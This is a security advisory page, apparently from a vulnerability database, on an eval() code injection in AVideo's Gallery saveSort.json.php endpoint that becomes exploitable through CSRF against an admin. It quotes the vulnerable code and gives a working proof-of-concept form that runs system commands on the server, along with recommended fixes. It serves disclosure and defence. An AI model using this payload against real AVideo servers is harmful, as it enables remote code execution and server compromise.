Skip to content

GHSA-xggw-g9pm-9qhh CVE-2026-33479

AVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin

High Packagist
Severity
8.8 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.54%
Chance of exploitation in the next 30 days. Higher than 45.49% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix
None yet
No fixed version published

Description

Summary

The Gallery plugin's saveSort.json.php endpoint passes unsanitized user input from $_REQUEST['sections'] array values directly into PHP's eval() function. While the endpoint is gated behind User::isAdmin(), it has no CSRF token validation. Combined with AVideo's explicit SameSite=None session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page.

Details

Vulnerable code — plugin/Gallery/view/saveSort.json.php:20-25:

if(!empty($_REQUEST['sections'])){
    $object = $gallery->getDataObject();
    foreach ($_REQUEST['sections'] as $key => $value) {
        $obj->sectionsSaved[] = array($key=>$value);
        eval("\$object->{$value}Order = \$key;");
    }
    $obj->error = !$gallery->setDataObject($object);
}

The $value variable from $_REQUEST['sections'] is interpolated directly into the string passed to eval() with no sanitization — no allowlist, no regex validation, no escaping. Normal Gallery usage sends section names like 'Shorts', 'Trending', etc. from jQuery UI sortable, but the server enforces no such constraint.

CSRF enablement — objects/include_config.php:134-137:

if ($isHTTPS) {
    ini_set('session.cookie_samesite', 'None');
    ini_set('session.cookie_secure', '1');
}

The session cookie is explicitly set to SameSite=None, which instructs browsers to send the cookie on cross-site requests. This is also reinforced in objects/functionsPHP.php:330-333 where additional cookies are set with SameSite=None; Secure.

No CSRF protection — The endpoint performs no CSRF token validation, no Origin header check, no Referer header check, and no X-Requested-With header check. There is no global CSRF middleware in AVideo's bootstrap chain.

Exploit chain:

  1. Attacker crafts a page with an auto-submitting form targeting saveSort.json.php
  2. Admin visits the attacker's page (e.g., via a link in a comment, email, or message)
  3. The browser sends the cross-site POST request with the admin's session cookie attached (due to SameSite=None)
  4. User::isAdmin() passes because the admin's session is present
  5. The injected PHP code in the sections array value is passed to eval() and executes

PoC

Step 1: Host the following HTML on an attacker-controlled server:

<!DOCTYPE html>
<html>
<body>
<form id="exploit" action="https://TARGET/plugin/Gallery/view/saveSort.json.php" method="POST">
  <input type="hidden" name="sections[0]" value="x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//">
</form>
<script>document.getElementById('exploit').submit();</script>
</body>
</html>

The base64 decodes to id;hostname.

Step 2: Lure an authenticated AVideo admin to visit the page.

Step 3: The eval on line 24 executes:

$object->x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//Order = 0;

This breaks out of the property assignment, calls system() with attacker-controlled arguments, and comments out the rest of the line. The response JSON will contain the command output, but even without seeing the response, the command executes server-side.

Expected result: The id and hostname commands execute on the server under the web server's user context.

Impact

  • Remote Code Execution — An attacker achieves arbitrary PHP code execution on the server by luring an admin to visit a malicious page. No prior authentication or account on the target is required.
  • Full server compromise — The attacker can read/write files, access the database, pivot to other services, install backdoors, or exfiltrate data.
  • Stealth — The attack is a single form submission that completes in milliseconds. The admin may not notice anything unusual.
  • Blast radius — Any AVideo instance running over HTTPS (which triggers SameSite=None) where an admin can be lured to click a link is vulnerable.

Recommended Fix

Primary fix — Replace eval() with an allowlist check:

In plugin/Gallery/view/saveSort.json.php, replace lines 20-26:

if(!empty($_REQUEST['sections'])){
    $object = $gallery->getDataObject();
    $allowedSections = ['Shorts', 'Trending', 'SiteSuggestion', 'Newest', 
                        'Subscribe', 'Popular', 'LiveStream', 'Category', 
                        'Program', 'Channel'];
    foreach ($_REQUEST['sections'] as $key => $value) {
        if (!in_array($value, $allowedSections, true)) {
            continue;
        }
        $obj->sectionsSaved[] = array($key => $value);
        $property = $value . 'Order';
        $object->$property = intval($key);
    }
    $obj->error = !$gallery->setDataObject($object);
}

This eliminates eval() entirely, validates $value against a known allowlist of section names, and uses dynamic property access ($object->$property) instead of code generation.

Secondary fix — Add CSRF protection to all state-changing endpoints, or at minimum set SameSite=Lax on session cookies instead of SameSite=None in objects/include_config.php:135:

ini_set('session.cookie_samesite', 'Lax');

This prevents session cookies from being sent on cross-site form submissions, blocking the CSRF vector for all endpoints.

Affected versions

Packagist

PackageVulnerableFixed in
wwbn/avideo
<= 26.0
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
Medium Also affects wwbn/avideo
GHSA-wc3f-xc32-435f
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
High Also affects wwbn/avideo
GHSA-95jh-7r58-xmxw
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
Medium Also affects wwbn/avideo
GHSA-wf69-r4mx-43rr
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
High Also affects wwbn/avideo
GHSA-8j8m-p79x-g4jm
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
Medium Also affects wwbn/avideo
GHSA-8whc-2wmv-ww35
WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin
Critical Also affects WWBN/AVideo
GHSA-66q5-cj5g-wrfx
WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section
Medium Also affects WWBN/AVideo
GHSA-hgjh-6wj8-gcgf
WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination
Medium Also affects WWBN/AVideo
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor